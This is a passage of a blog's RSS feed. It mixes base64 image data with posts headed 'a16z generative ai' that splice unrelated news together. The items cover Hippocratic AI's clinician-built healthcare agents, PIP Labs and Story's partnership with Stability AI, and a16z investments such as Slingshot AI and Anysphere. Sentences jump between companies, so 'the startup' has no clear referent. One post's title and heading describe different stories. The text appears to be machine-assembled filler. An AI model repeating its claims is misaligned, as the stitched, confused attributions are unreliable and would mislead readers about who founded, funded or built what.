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" width="302px" alt="a16z generative ai"/></p>
<p><p>The startup was co-founded by Chief Executive Officer and serial entrepreneur Munjal Shah and a group of physicians, hospital administrators, healthcare professionals and AI researchers from organizations including El Camino Health LLC, Johns Hopkins University, Stanford University, Microsoft Corp., Google and Nvidia Corp. PIP Labs, an initial core contributor to the Story Network, is backed by investors including a16z crypto, Endeavor, and Polychain. Co-founded by a serial entrepreneur with a $440M exit and DeepMind’s youngest PM, PIP Labs boasts a veteran founding executive team with expertise in consumer tech, generative AI, and Web3 infrastructure. The startup has also created other AI agents for tasks like pre- and post-surgery wound care, extreme heat wave preparation, home health checks, diabetes screening and education, and many more besides. The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education. According to the startup, the objective of these AI agents is to try and solve the massive shortage of trained nurses, social workers and nutritionists in the healthcare industry, both in the U.S. and globally.</p>
</p>
<p><h2>TechBullion</h2>
</p>
<p><p>The same day, a16z also led a Series A investment in Slingshot AI, which has raised a total of $40 million to create a foundation model for psychology. Those investments highlight the commitment of the group to using AI to address important issues and are also focusing on how AI can improve different industries, including healthcare and consumer services. In general, a16z is committed to supporting AI innovations that could have a profound impact on society. We are thrilled to see our models used in Story’s blockchain technology to ensure proper attribution and reward contributors,” said Scott Trowbridge, Vice President of Stability AI. Others include Kacie Spencer, DNP, RN, the chief nursing officer at Adtalem Global Education Inc., who has more than 20 years of experience in emergency nursing and clinical education. Her AI agent is focused on patient education for the proper installation of child car seats.</p>
</p>
<p><p>It participated in an Anysphere round that had the company raising $105 million on January 14, 2025, when it pushed the valuation up to $2.5 billion. Beyond this, it has also released a $500 million Biotech Ecosystem Venture Fund with Eli Lilly to place a focus on health technologies, but with the aspect of innovative applications. On the same day, they led a Series A investment in Slingshot AI, a company that&#8217;s developing advanced generative AI technology for mental health. Additionally, a16z invested in Raspberry AI to bring generative AI to the front of fashion design and production. In December 2024, they envisioned a future in which AI was used aggressively in nearly all sectors.</p>
</p>
<ul>
<li>The startup said its AI Agent creators include Dr. Vanessa Dorismond MD, MA, MAS, a distinguished obstetrician and gynecologist at El Camino Women’s Medical Group and Teal Health, who helped to create an AI agent that’s focused on cervical cancer check-ins and enhancing patient education.</li>
<li>Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups.</li>
<li>Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</li>
<li>It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested.</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-5/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>a16z generative ai</title>
		<link>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-6/</link>
					<comments>https://vibrantsumerpur.com/vibrant/a16z-generative-ai-6/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 28 Jul 2026 17:09:40 +0000</pubDate>
				<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://vibrantsumerpur.com/vibrant/?p=41954</guid>

					<description><![CDATA[Hippocratic AI raises $141M to staff hospitals with clinical AI agents Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers Meanwhile, Kristina Dulaney, RN, PMH-C, the founder of Cherished Mom, an organization dedicated to solving maternal mental health challenges, helped to create an AI agent that’s focused on helping new mothers [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hippocratic AI raises $141M to staff hospitals with clinical AI agents </p>
<h1>Story Partners with Stability AI to Empower Open-Source Innovation for Creators and Developers</h1>
</p>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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